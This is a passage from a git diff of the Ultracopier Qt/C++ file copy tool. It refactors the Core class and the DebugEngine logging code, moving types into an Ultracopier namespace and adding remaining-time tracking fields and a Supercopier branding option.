+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the copy engine sender");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start end"));
}
void Core::pushGeneralProgression(const quint64 &current,const quint64 &total)
{
- int index=indexCopySenderCopyEngine();
- if(index!=-1)
- {
- copyList[index].currentProgression=current;
- copyList[index].totalProgression=total;
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the copy engine sender");
+ int index=indexCopySenderCopyEngine();
+ if(index!=-1)
+ {
+ copyList[index].currentProgression=current;
+ copyList[index].totalProgression=total;
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the copy engine sender");
}
/// \brief used to drag and drop files
void Core::urlDropped(const QList<QUrl> &urls)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=indexCopySenderInterface();
- if(index!=-1)
- {
- QStringList sources;
- int index_loop=0;
- while(index_loop<urls.size())
- {
- if(!urls.at(index_loop).isEmpty())
- sources << urls.at(index_loop).toLocalFile();
- index_loop++;
- }
- if(sources.size()==0)
- return;
- else
- {
- if(copyList.at(index).ignoreMode)
- {
- QMessageBox::StandardButton reply=QMessageBox::question(copyList.at(index).interface,tr("Transfer mode"),tr("Do you want do as a copy? Else if you reply no, it will be moved."),QMessageBox::Yes|QMessageBox::No|QMessageBox::Cancel,QMessageBox::Cancel);
- if(reply==QMessageBox::Yes)
- copyList.at(index).engine->newCopy(sources);
- if(reply==QMessageBox::No)
- copyList.at(index).engine->newMove(sources);
- }
- else
- {
- if(copyList.at(index).mode==Copy)
- copyList.at(index).engine->newCopy(sources);
- else
- copyList.at(index).engine->newMove(sources);
- }
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to locate the copy engine sender");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=indexCopySenderInterface();
+ if(index!=-1)
+ {
+ QStringList sources;
+ int index_loop=0;
+ while(index_loop<urls.size())
+ {
+ if(!urls.at(index_loop).isEmpty())
+ sources << urls.at(index_loop).toLocalFile();
+ index_loop++;
+ }
+ if(sources.size()==0)
+ return;
+ else
+ {
+ if(copyList.at(index).ignoreMode)
+ {
+ QMessageBox::StandardButton reply=QMessageBox::question(copyList.at(index).interface,tr("Transfer mode"),tr("Do you want to copy? If no, it will be moved."),QMessageBox::Yes|QMessageBox::No|QMessageBox::Cancel,QMessageBox::Cancel);
+ if(reply==QMessageBox::Yes)
+ copyList.at(index).engine->newCopy(sources);
+ if(reply==QMessageBox::No)
+ copyList.at(index).engine->newMove(sources);
+ }
+ else
+ {
+ if(copyList.at(index).mode==Ultracopier::Copy)
+ copyList.at(index).engine->newCopy(sources);
+ else
+ copyList.at(index).engine->newMove(sources);
+ }
+ }
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"unable to locate the copy engine sender");
}
diff --git a/Core.h b/Core.h
index a3a9c2a..3b2928c 100644
--- a/Core.h
+++ b/Core.h
@@ -1,8 +1,6 @@
/** \file Core.h
\brief Define the class definition for core, the Copy of each copy/move window
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef CORE_H
@@ -20,7 +18,6 @@
#include "Environment.h"
#include "StructEnumDefinition.h"
#include "CopyEngineManager.h"
-#include "GlobalClass.h"
#include "LogThread.h"
#include "interface/PluginInterface_CopyEngine.h"
#include "interface/PluginInterface_Themes.h"
@@ -28,159 +25,172 @@
/** \brief Define the class definition for core, the Copy of each copy/move window
This class provide a core for dispatch the event of signal/slot, it checks too if not other instance is running */
-class Core : public QObject, public GlobalClass
+class Core : public QObject
{
- Q_OBJECT
- public:
- /// \brief Initate the core of one copy or move window, dispatch the event specific at this window
- Core(CopyEngineManager *copyEngineList);
- private:
- CopyEngineManager *copyEngineList;
- struct RunningTransfer
- {
- ItemOfCopyList item;
- bool progression;
- };
- struct CopyInstance
- {
- int id;
- PluginInterface_CopyEngine * engine;
- PluginInterface_Themes * interface;
- bool ignoreMode;
- CopyMode mode;
- quint64 numberOfFile;
- quint64 numberOfTransferedFile;
- quint64 currentProgression,totalProgression;//store the file byte transfered, used into the remaining time
- EngineActionInProgress action;
- quint64 lastProgression;//store the real byte transfered, used in speed calculation
- QList<quint64> lastSpeedDetected;//stored in bytes
- QList<double> lastSpeedTime;//stored in ms
- QList<RunningTransfer> transferItemList;//full info of started item, to have wich progression to poll
- QList<quint32> orderId;//external order send via listener plugin
- QString folderListing;
- QString collisionAction;
- QString errorAction;
- bool isPaused;
- quint64 baseTime;//stored in ms
- QTime runningTime;
- bool isRunning;
- CopyType type;
- TransferListOperation transferListOperation;
- bool haveError;
- QTime lastConditionalSync;
- QTimer *nextConditionalSync;
- bool copyEngineIsSync;
- };
- QList<CopyInstance> copyList;
- /** open with specific source/destination
- \param move Copy or move
- \param ignoreMode if need ignore the mode
- \param protocolsUsedForTheSources protocols used for sources
- \param protocolsUsedForTheDestination protocols used for destination
- */
- int openNewCopyEngineInstance(const CopyMode &mode,const bool &ignoreMode,const QStringList &protocolsUsedForTheSources=QStringList(),const QString &protocolsUsedForTheDestination="");
- /** open with specific copy engine
- \param move Copy or move
- \param ignoreMode if need ignore the mode
- \param protocolsUsedForTheSources protocols used for sources
- \param protocolsUsedForTheDestination protocols used for destination
- */
- int openNewCopyEngineInstance(const CopyMode &mode,const bool &ignoreMode,const QString &name);
-
- /// \brief get the right copy instance (copy engine + interface), by signal emited from copy engine
- int indexCopySenderCopyEngine();
- /// \brief get the right copy instance (copy engine + interface), by signal emited from interface
- int indexCopySenderInterface();
-
- void connectEngine(const int &index);
- void connectInterfaceAndSync(const int &index);
- void disconnectEngine(const int &index);
- void disconnectInterface(const int &index);
-
- /** \brief update at periodic interval, the synchronization between copy engine and interface, but for specific entry
- \see forUpateInformation */
- void periodicSynchronization(const int &index);
-
- //for the internal management
- int incrementId();
- int nextId;
- QList<int> idList;
- QTime lastProgressionTime;
- QTimer forUpateInformation;///< used to call \see periodicSynchronization()
- void resetSpeedDetected(const int &index);
-
- /** Connect the copy engine instance provided previously to the management */
- int connectCopyEngine(const CopyMode &mode,bool ignoreMode,const CopyEngineManager::returnCopyEngine &returnInformations);
-
- LogThread log;///< To save the log like mkpath, rmpath, error, copy, ...
- //temp variable
- int index,index_sub_loop,loop_size,loop_sub_size;
- double totTime;
- double totSpeed;
- quint64 realByteTransfered;
- quint64 transferSpeed;
- quint64 transferAddedTime;
- quint64 diffCopiedSize;
- signals:
- void copyFinished(const quint32 & orderId,bool withError);
- void copyCanceled(const quint32 & orderId);
- public slots:
- /** \brief do copy with sources, but ask the destination */
- void newCopy(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources);
- /** \brief do copy with sources and destination */
- void newCopy(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination);
- /** \brief do move with sources, but ask the destination */
- void newMove(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources);
- /** \brief do move with sources and destination */
- void newMove(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination);
- /** \brief open copy/move windows with specific engine */
- void addWindowCopyMove(const CopyMode &mode,const QString &name);
- /** \brief open transfer (copy+move) windows with specific engine */
- void addWindowTransfer(const QString &name);
- /** new transfer list pased by the CLI */
- void newTransferList(QString engine,QString mode,QString file);
- private slots:
- /// \brief the copy engine have canceled the transfer
- void copyInstanceCanceledByEngine();
- /// \brief the interface have canceled the transfer
- void copyInstanceCanceledByInterface();
- /// \brief the transfer have been canceled
- void copyInstanceCanceledByIndex(const int &index);
- /// \brief only when the copy engine say it's ready to delete them self, it call this
- void deleteCopyEngine();
-
- // some stat update
- void actionInProgess(const EngineActionInProgress &action);
- void newFolderListing(const QString &path);
- void newCollisionAction(const QString &action);
- void newErrorAction(const QString &action);
- void isInPause(const bool&);
-
- /** \brief update at periodic interval, the synchronization between copy engine and interface
- \see forUpateInformation */
- void periodicSynchronization();
-
- //reset some information
- void resetSpeedDetectedEngine();
- void resetSpeedDetectedInterface();
-
- //load the interface
- void loadInterface();
- void unloadInterface();
-
- //error occurred
- void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error);
- //for the extra logging
- void rmPath(const QString &path);
- void mkPath(const QString &path);
-
- /// \brief used to drag and drop files
- void urlDropped(const QList<QUrl> &urls);
- /// \brief to rsync after a new interface connection
- void syncReady();
-
- void getActionOnList(const QList<returnActionOnCopyList> & actionList);
- void pushGeneralProgression(const quint64 &current,const quint64 &total);
+ Q_OBJECT
+ public:
+ /// \brief Initate the core of one copy or move window, dispatch the event specific at this window
+ Core(CopyEngineManager *copyEngineList);
+ ~Core();
+ private:
+ CopyEngineManager *copyEngineList;
+ struct RunningTransfer
+ {
+ Ultracopier::ItemOfCopyList item;
+ bool progression;
+ };
+ struct RemainingTimeLogarithmicColumn
+ {
+ QList<int> lastProgressionSpeed;
+ quint64 totalSize;
+ quint64 transferedSize;
+ };
+
+ struct CopyInstance
+ {
+ int id;
+ PluginInterface_CopyEngine * engine;
+ PluginInterface_Themes * interface;
+ bool ignoreMode;
+ Ultracopier::CopyMode mode;
+ quint64 numberOfFile;
+ quint64 numberOfTransferedFile;
+ quint64 currentProgression,totalProgression;//store the file byte transfered, used into the remaining time
+ Ultracopier::EngineActionInProgress action;
+ quint64 lastProgression;//store the real byte transfered, used in speed calculation
+ QList<RunningTransfer> transferItemList;//full info of started item, to have wich progression to poll
+ QList<quint32> orderId;//external order send via listener plugin
+ QString folderListing;
+ QString collisionAction;
+ QString errorAction;
+ bool isPaused;
+ bool isRunning;
+ Ultracopier::CopyType type;
+ Ultracopier::TransferListOperation transferListOperation;
+ bool haveError;
+ QTime lastConditionalSync;
+ QTimer *nextConditionalSync;
+ bool copyEngineIsSync;
+ bool canceled;//to not try groun when is in canceling
+
+ Ultracopier::RemainingTimeAlgo remainingTimeAlgo;
+
+ /** for RemainingTimeAlgo_Traditional **/
+ //this speed is for instant speed
+ QList<quint64> lastSpeedDetected;//stored in bytes
+ QList<double> lastSpeedTime;//stored in ms
+ //this speed is average speed on more time to calculate the remaining time
+ QList<quint64> lastAverageSpeedDetected;//stored in bytes
+ QList<double> lastAverageSpeedTime;//stored in ms
+
+ /** for RemainingTimeAlgo_Logarithmic **/
+ QList<RemainingTimeLogarithmicColumn> remainingTimeLogarithmicValue;
+ };
+ QList<CopyInstance> copyList;
+ /** open with specific source/destination
+ \param move Copy or move
+ \param ignoreMode if need ignore the mode
+ \param protocolsUsedForTheSources protocols used for sources
+ \param protocolsUsedForTheDestination protocols used for destination
+ */
+ int openNewCopyEngineInstance(const Ultracopier::CopyMode &mode,const bool &ignoreMode,const QStringList &protocolsUsedForTheSources=QStringList(),const QString &protocolsUsedForTheDestination="");
+ /** open with specific copy engine
+ \param move Copy or move
+ \param ignoreMode if need ignore the mode
+ \param protocolsUsedForTheSources protocols used for sources
+ \param protocolsUsedForTheDestination protocols used for destination
+ */
+ int openNewCopyEngineInstance(const Ultracopier::CopyMode &mode,const bool &ignoreMode,const QString &name);
+
+ /// \brief get the right copy instance (copy engine + interface), by signal emited from copy engine
+ int indexCopySenderCopyEngine();
+ /// \brief get the right copy instance (copy engine + interface), by signal emited from interface
+ int indexCopySenderInterface();
+
+ void connectEngine(const int &index);
+ void connectInterfaceAndSync(const int &index);
+ //void disconnectEngine(const int &index);
+ //void disconnectInterface(const int &index);
+
+ /** \brief update at periodic interval, the synchronization between copy engine and interface, but for specific entry
+ \see forUpateInformation */
+ void periodicSynchronizationWithIndex(const int &index);
+
+ //for the internal management
+ int incrementId();
+ int nextId;
+ QList<int> idList;
+ QTime lastProgressionTime;
+ QTimer forUpateInformation;///< used to call \see periodicSynchronization()
+ void resetSpeedDetected(const int &index);
+
+ /** Connect the copy engine instance provided previously to the management */
+ int connectCopyEngine(const Ultracopier::CopyMode &mode,bool ignoreMode,const CopyEngineManager::returnCopyEngine &returnInformations);
+
+ LogThread log;///< To save the log like mkpath, rmpath, error, copy, ...
+ quint64 realByteTransfered;
+
+ static quint8 fileCatNumber(quint64 size);
+ signals:
+ void copyFinished(const quint32 & orderId,bool withError) const;
+ void copyCanceled(const quint32 & orderId) const;
+ public slots:
+ /** \brief do copy with sources, but ask the destination */
+ void newCopyWithoutDestination(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources);
+ void newTransfer(const Ultracopier::CopyMode &mode,const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination);
+ /** \brief do copy with sources and destination */
+ void newCopy(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination);
+ /** \brief do move with sources, but ask the destination */
+ void newMoveWithoutDestination(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources);
+ /** \brief do move with sources and destination */
+ void newMove(const quint32 &orderId,const QStringList &protocolsUsedForTheSources,const QStringList &sources,const QString &protocolsUsedForTheDestination,const QString &destination);
+ /** \brief open copy/move windows with specific engine */
+ void addWindowCopyMove(const Ultracopier::CopyMode &mode,const QString &name);
+ /** \brief open transfer (copy+move) windows with specific engine */
+ void addWindowTransfer(const QString &name);
+ /** new transfer list pased by the CLI */
+ void newTransferList(QString engine,QString mode,QString file);
+ private slots:
+ /// \brief the copy engine have canceled the transfer
+ void copyInstanceCanceledByEngine();
+ /// \brief the interface have canceled the transfer
+ void copyInstanceCanceledByInterface();
+ /// \brief the transfer have been canceled
+ void copyInstanceCanceledByIndex(const int &index);
+ /// \brief only when the copy engine say it's ready to delete them self, it call this
+ void deleteCopyEngine();
+
+ // some stat update
+ void actionInProgess(const Ultracopier::EngineActionInProgress &action);
+ void newFolderListing(const QString &path);
+ void isInPause(const bool&);
+
+ /** \brief update at periodic interval, the synchronization between copy engine and interface
+ \see forUpateInformation */
+ void periodicSynchronization();
+
+ //reset some information
+ void resetSpeedDetectedEngine();
+ void resetSpeedDetectedInterface();
+
+ //load the interface
+ void loadInterface();
+ void unloadInterface();
+
+ //error occurred
+ void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error);
+ //for the extra logging
+ void rmPath(const QString &path);
+ void mkPath(const QString &path);
+
+ /// \brief used to drag and drop files
+ void urlDropped(const QList<QUrl> &urls);
+ /// \brief to rsync after a new interface connection
+ void syncReady();
+ void doneTime(const QList<QPair<quint64,quint32> > &timeList);
+
+ void getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> & actionList);
+ void pushGeneralProgression(const quint64 &current,const quint64 &total);
};
#endif // CORE_H
diff --git a/DebugEngine.cpp b/DebugEngine.cpp
index 4fe6314..2cdfaab 100644
--- a/DebugEngine.cpp
+++ b/DebugEngine.cpp
@@ -1,25 +1,27 @@
/** \file DebugEngine.cpp
\brief Define the class for the debug
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QDir>
-#include <QFSFileEngine>
#include <QMessageBox>
#include <QFileDialog>
#include <QLocalSocket>
+#include <QRegularExpression>
#include "Variable.h"
#include "DebugEngine.h"
#include "ExtraSocket.h"
+#ifdef WIN32
+# define __func__ __FUNCTION__
+#endif
+
/// \brief The local macro: ULTRACOPIER_DEBUGCONSOLE
#if defined (__FILE__) && defined (__LINE__)
- #define ULTRACOPIER_DEBUGCONSOLE(a,b) addDebugInformation(a,__func__,b,__FILE__,__LINE__)
+# define ULTRACOPIER_DEBUGCONSOLE(a,b) addDebugInformation(a,__func__,b,__FILE__,__LINE__)
#else
- #define ULTRACOPIER_DEBUGCONSOLE(a,b) addDebugInformation(a,__func__,b)
+# define ULTRACOPIER_DEBUGCONSOLE(a,b) addDebugInformation(a,__func__,b)
#endif
#ifdef ULTRACOPIER_DEBUG
@@ -27,360 +29,365 @@
/// \brief initiate the ultracopier event dispatcher and check if no other session is running
DebugEngine::DebugEngine()
{
- addDebugInformationCallNumber=0;
- //Load the first content
- debugHtmlContent+="<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">";
- debugHtmlContent+="<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">";
- debugHtmlContent+="<head>";
- debugHtmlContent+="<meta name=\"Language\" content=\"en\" />";
- debugHtmlContent+="<meta http-equiv=\"content-language\" content=\"english\" />";
- debugHtmlContent+="<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />";
- debugHtmlContent+="<style type=\"text/css\">";
- debugHtmlContent+="body{font-family:\"DejaVu Sans Mono\";font-size:9pt;}";
- debugHtmlContent+=".Information td{color:#7485df;}";
- debugHtmlContent+=".Critical td{color:#ff0c00;background-color:#FFFE8C;}";
- debugHtmlContent+=".Warning td{color:#efa200;}";
- debugHtmlContent+=".Notice td{color:#999;}";
- debugHtmlContent+=".time{font-weight:bold;}";
- debugHtmlContent+=".Note{font-weight:bold;font-size:1.5em}";
- debugHtmlContent+=".function{font-style:italic;text-decoration:underline}";
- debugHtmlContent+=".location{padding-right:15px;}";
- debugHtmlContent+="td {white-space:nowrap;}";
- debugHtmlContent+="</style>";
- debugHtmlContent+="<title>Ultracopier "+QString(ULTRACOPIER_VERSION)+" "+QString(ULTRACOPIER_PLATFORM_NAME)+", debug report</title>";
- debugHtmlContent+="</head>";
- debugHtmlContent+="<body>";
- debugHtmlContent+="<table>";
- //Load the start time at now
- startTime.start();
- //Load the log file end
- endOfLogFile="</table></body></html>";
- //check if other instance is running, then switch to memory backend
- if(tryConnect())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Notice,"currentBackend: File because other session is runing");
- currentBackend=Memory;
- return;
- }
- //The lock and log file path is not defined
- bool fileNameIsLoaded=false;
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- #ifdef ULTRACOPIER_VERSION_PORTABLEAPPS
- //Load the data folder path
- QDir dir(QCoreApplication::applicationDirPath());
- dir.cdUp();
- dir.cdUp();
- dir.cd("Data");
- logFile.setFileName(dir.absolutePath()+QDir::separator()+"log.html");
- lockFile.setFileName(dir.absolutePath()+QDir::separator()+"ultracopier.lock");
- fileNameIsLoaded=true;
- #else
- //Load the ultracopier path
- QDir dir(QCoreApplication::applicationDirPath());
- logFile.setFileName(dir.absolutePath()+QDir::separator()+"log.html");
- lockFile.setFileName(dir.absolutePath()+QDir::separator()+"ultracopier.lock");
- fileNameIsLoaded=true;
- #endif
- #else
- #ifdef Q_OS_WIN32
- #define EXTRA_HOME_PATH "\\ultracopier\\"
- #else
- #define EXTRA_HOME_PATH "/.config/Ultracopier/"
- #endif
- //Load the user path only if exists and writable
- QDir dir(QFSFileEngine::homePath()+EXTRA_HOME_PATH);
- bool errorFound=false;
- //If user's directory not exists create it
- if(!dir.exists())
- {
- //If failed not load the file
- if(!dir.mkpath(dir.absolutePath()))
- {
- errorFound=true;
- puts(qPrintable("Unable to make path: "+dir.absolutePath()+", disable file log"));
- }
- }
- //If no error found set the file name
- if(errorFound==false)
- {
- fileNameIsLoaded=true;
- logFile.setFileName(dir.absolutePath()+QDir::separator()+"log.html");
- lockFile.setFileName(dir.absolutePath()+QDir::separator()+"ultracopier.lock");
- }
- errorFound=false;
- #endif
- //If the file name is loaded
- if(fileNameIsLoaded)
- {
- //If the previous file is here, then crash previous, ask if the user want to save
- if(lockFile.exists() && logFile.exists())
- {
- //Try open the file as read only to propose save it as the user
- //Don't ask it if unable to write, because unable to remove, then alert at all start
- if(removeTheLockFile())
- {
- //Ask to the user
- QMessageBox::StandardButton reply = QMessageBox::question(NULL,"Save the previous report","Ultracopier seam have crashed, do you want save the previous report for report it to the forum?",QMessageBox::Yes|QMessageBox::No,QMessageBox::No);
- if(reply==QMessageBox::Yes)
- saveBugReport();
- }
- else
- puts(qPrintable(logFile.fileName()+" unable to open it as read"));
- }
- //Now try to create and open the log file and lock file
- if(!lockFile.open(QIODevice::WriteOnly|QIODevice::Truncate|QIODevice::Unbuffered))
- {
- currentBackend=Memory;
- puts(qPrintable(lockFile.fileName()+" unable to open it as write, log into file disabled"));
- }
- else
- {
- if(!logFile.open(QIODevice::ReadWrite|QIODevice::Truncate|QIODevice::Unbuffered))
- {
- currentBackend=Memory;
- puts(qPrintable(logFile.fileName()+" unable to open it as write, log into file disabled"));
- removeTheLockFile();
- }
- else
- {
- currentBackend=File;
- logFile.write(debugHtmlContent.toUtf8());
- }
- }
- }
- if(currentBackend==File)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Notice,"currentBackend: File");
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Notice,"currentBackend: Memory");
+ fileNameCleaner=QRegularExpression(QStringLiteral("\\.\\.?[/\\\\]([^/]+[/\\\\])?"));
+ quit=false;
+ QStringList ultracopierArguments=QCoreApplication::arguments();
+ if(ultracopierArguments.size()==2)
+ if(ultracopierArguments.last()=="quit")
+ quit=true;
+ addDebugInformationCallNumber=0;
+ //Load the first content
+ debugHtmlContent+="<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">";
+ debugHtmlContent+="<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">";
+ debugHtmlContent+="<head>";
+ debugHtmlContent+="<meta name=\"Language\" content=\"en\" />";
+ debugHtmlContent+="<meta http-equiv=\"content-language\" content=\"english\" />";
+ debugHtmlContent+="<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />";
+ debugHtmlContent+="<style type=\"text/css\">";
+ debugHtmlContent+="body{font-family:\"DejaVu Sans Mono\";font-size:9pt;}";
+ debugHtmlContent+=".Information td{color:#7485df;}";
+ debugHtmlContent+=".Critical td{color:#ff0c00;background-color:#FFFE8C;}";
+ debugHtmlContent+=".Warning td{color:#efa200;}";
+ debugHtmlContent+=".Notice td{color:#999;}";
+ debugHtmlContent+=".time{font-weight:bold;}";
+ debugHtmlContent+=".Note{font-weight:bold;font-size:1.5em}";
+ debugHtmlContent+=".function{font-style:italic;text-decoration:underline}";
+ debugHtmlContent+=".location{padding-right:15px;}";
+ debugHtmlContent+="td {white-space:nowrap;}";
+ debugHtmlContent+="</style>";
+ debugHtmlContent+="<title>";
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ debugHtmlContent+="Supercopier";
+ #else
+ debugHtmlContent+="Ultracopier";
+ #endif
+ debugHtmlContent+=" "+QString(ULTRACOPIER_VERSION)+" "+QString(ULTRACOPIER_PLATFORM_NAME)+", debug report</title>";
+ debugHtmlContent+="</head>";
+ debugHtmlContent+="<body>";
+ debugHtmlContent+="<table>";
+ //Load the start time at now
+ startTime.start();
+ //Load the log file end
+ endOfLogFile="</table></body></html>";
+ //check if other instance is running, then switch to memory backend
+ if(tryConnect())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Notice,"currentBackend: File because other session is runing");
+ currentBackend=Memory;
+ return;
+ }
+ //The lock and log file path is not defined
+ bool fileNameIsLoaded=false;
+ #ifdef ULTRACOPIER_VERSION_PORTABLE
+ #ifdef ULTRACOPIER_VERSION_PORTABLEAPPS
+ //Load the data folder path
+ QDir dir(QCoreApplication::applicationDirPath());
+ dir.cdUp();
+ dir.cdUp();
+ dir.cd("Data");
+ logFile.setFileName(dir.absolutePath()+QDir::separator()+"log.html");
+ lockFile.setFileName(dir.absolutePath()+QDir::separator()+"ultracopier.lock");
+ fileNameIsLoaded=true;
+ #else
+ //Load the ultracopier path
+ QDir dir(QCoreApplication::applicationDirPath());
+ logFile.setFileName(dir.absolutePath()+QDir::separator()+"log.html");
+ lockFile.setFileName(dir.absolutePath()+QDir::separator()+"ultracopier.lock");
+ fileNameIsLoaded=true;
+ #endif
+ #else
+ #ifdef Q_OS_WIN32
+ #define EXTRA_HOME_PATH "\\ultracopier\\"
+ #else
+ #define EXTRA_HOME_PATH "/.config/Ultracopier/"
+ #endif
+ //Load the user path only if exists and writable
+ QDir dir(QDir::homePath()+EXTRA_HOME_PATH);
+ bool errorFound=false;
+ //If user's directory not exists create it
+ if(!dir.exists())
+ {
+ //If failed not load the file
+ if(!dir.mkpath(dir.absolutePath()))
+ {
+ errorFound=true;
+ puts(qPrintable("Unable to make path: "+dir.absolutePath()+", disable file log"));
+ }
+ }
+ //If no error found set the file name
+ if(errorFound==false)
+ {
+ fileNameIsLoaded=true;
+ logFile.setFileName(dir.absolutePath()+QDir::separator()+"log.html");
+ lockFile.setFileName(dir.absolutePath()+QDir::separator()+"ultracopier.lock");
+ }
+ //errorFound=false;
+ #endif
+ //If the file name is loaded
+ if(fileNameIsLoaded)
+ {
+ //If the previous file is here, then crash previous, ask if the user want to save
+ if(lockFile.exists() && logFile.exists() && !quit)
+ {
+ //Try open the file as read only to propose save it as the user
+ //Don't ask it if unable to write, because unable to remove, then alert at all start
+ if(removeTheLockFile())
+ {
+ //Ask to the user
+ QMessageBox::StandardButton reply = QMessageBox::question(NULL,"Save the previous report",
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ QString("Supercopier")+
+ #else
+ QString("Ultracopier")+
+ #endif
+ " seam have crashed, do you want save the previous report for report it to the forum?",QMessageBox::Yes|QMessageBox::No,QMessageBox::No);
+ if(reply==QMessageBox::Yes)
+ saveBugReport();
+ }
+ else
+ puts(qPrintable(logFile.fileName()+" unable to open it as read"));
+ }
+ //Now try to create and open the log file and lock file
+ if(!lockFile.open(QIODevice::WriteOnly|QIODevice::Truncate|QIODevice::Unbuffered))
+ {
+ currentBackend=Memory;
+ puts(qPrintable(lockFile.fileName()+" unable to open it as write, log into file disabled"));
+ }
+ else
+ {
+ if(!logFile.open(QIODevice::ReadWrite|QIODevice::Truncate|QIODevice::Unbuffered))
+ {
+ currentBackend=Memory;
+ puts(qPrintable(logFile.fileName()+" unable to open it as write, log into file disabled"));
+ removeTheLockFile();
+ }
+ else
+ {
+ logFile.resize(0);
+ currentBackend=File;
+ logFile.write(debugHtmlContent.toUtf8());
+ }
+ }
+ }
}
/// \brief Destroy the ultracopier event dispatcher
DebugEngine::~DebugEngine()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_custom_Notice,"start");
- if(currentBackend==File)
- {
- removeTheLockFile();
- //Finalize the log file
- logFile.write(endOfLogFile.toUtf8());
- logFile.close();
- }
+ if(currentBackend==File)
+ {
+ removeTheLockFile();
+ //Finalize the log file
+ logFile.write(endOfLogFile.toUtf8());
+ logFile.close();
+ }
}
-/// \brief ask to the user where save the bug report
+/// \brief ask to the user where save the bug report
void DebugEngine::saveBugReport()
{
- bool errorFound;
- do
- {
- errorFound=false;
- //Ask where it which save it
- QString fileName = QFileDialog::getSaveFileName(NULL,"Save file","ultracopier-bug-report.log.html","Log file (*.log.html)");
- if(fileName!="")
- {
- if(QFile::exists(fileName))
- {
- if(!QFile::remove(fileName))
- {
- errorFound=true;
- puts(qPrintable(fileName+" unable remove it"));
- QMessageBox::critical(NULL,"Error","Unable to save the bug report");
- }
- }
- if(!errorFound)
- {
- //Open the destination as write
- if(!logFile.copy(fileName))
- {
- errorFound=true;
- puts(qPrintable(fileName+" unable to open it as write: "+logFile.errorString()));
- QMessageBox::critical(NULL,"Error","Unable to save the bug report"+logFile.errorString());
- }
- }
- }
- } while(errorFound!=false);
+ bool errorFound;
+ do
+ {
+ errorFound=false;
+ //Ask where it which save it
+ QString fileName = QFileDialog::getSaveFileName(NULL,"Save file","ultracopier-bug-report.log.html","Log file (*.log.html)");
+ if(fileName!="")
+ {
+ if(QFile::exists(fileName))
+ {
+ if(!QFile::remove(fileName))
+ {
+ errorFound=true;
+ puts(qPrintable(fileName+" unable remove it"));
+ QMessageBox::critical(NULL,"Error","Unable to save the bug report");
+ }
+ }
+ if(!errorFound)
+ {
+ //Open the destination as write
+ if(!logFile.copy(fileName))
+ {
+ errorFound=true;
+ puts(qPrintable(fileName+" unable to open it as write: "+logFile.errorString()));
+ QMessageBox::critical(NULL,"Error","Unable to save the bug report"+logFile.errorString());
+ }
+ }
+ }
+ } while(errorFound!=false);
}
/// \brief Internal function to remove the lock file
bool DebugEngine::removeTheLockFile()
{
- //close the file and remove it
- lockFile.close();
- if(!lockFile.remove())
- {
- puts(qPrintable(lockFile.fileName()+" unable to remove it, crash report at the next start"));
- return false;
- }
- else
- return true;
+ //close the file and remove it
+ lockFile.close();
+ if(!lockFile.remove())
+ {
+ puts(qPrintable(lockFile.fileName()+" unable to remove it, crash report at the next start"));
+ return false;
+ }
+ else
+ return true;
}
-void DebugEngine::addDebugInformationStatic(const DebugLevel &level,const QString& function,const QString& text,const QString& file,const int& ligne,const QString& location)
+void DebugEngine::addDebugInformationStatic(const Ultracopier::DebugLevel &level,const QString& function,const QString& text,const QString& file,const int& ligne,const QString& location)
{
- DebugEngine *debug_engine_instance=DebugEngine::getInstance();
- DebugLevel_custom tempLevel=DebugLevel_custom_Information;
- switch(level)
- {
- case DebugLevel_Information:
- tempLevel=DebugLevel_custom_Information;
- break;
- case DebugLevel_Critical:
- tempLevel=DebugLevel_custom_Critical;
- break;
- case DebugLevel_Warning:
- tempLevel=DebugLevel_custom_Warning;
- break;
- case DebugLevel_Notice:
- tempLevel=DebugLevel_custom_Notice;
- break;
- default:
- tempLevel=DebugLevel_custom_Notice;
- }
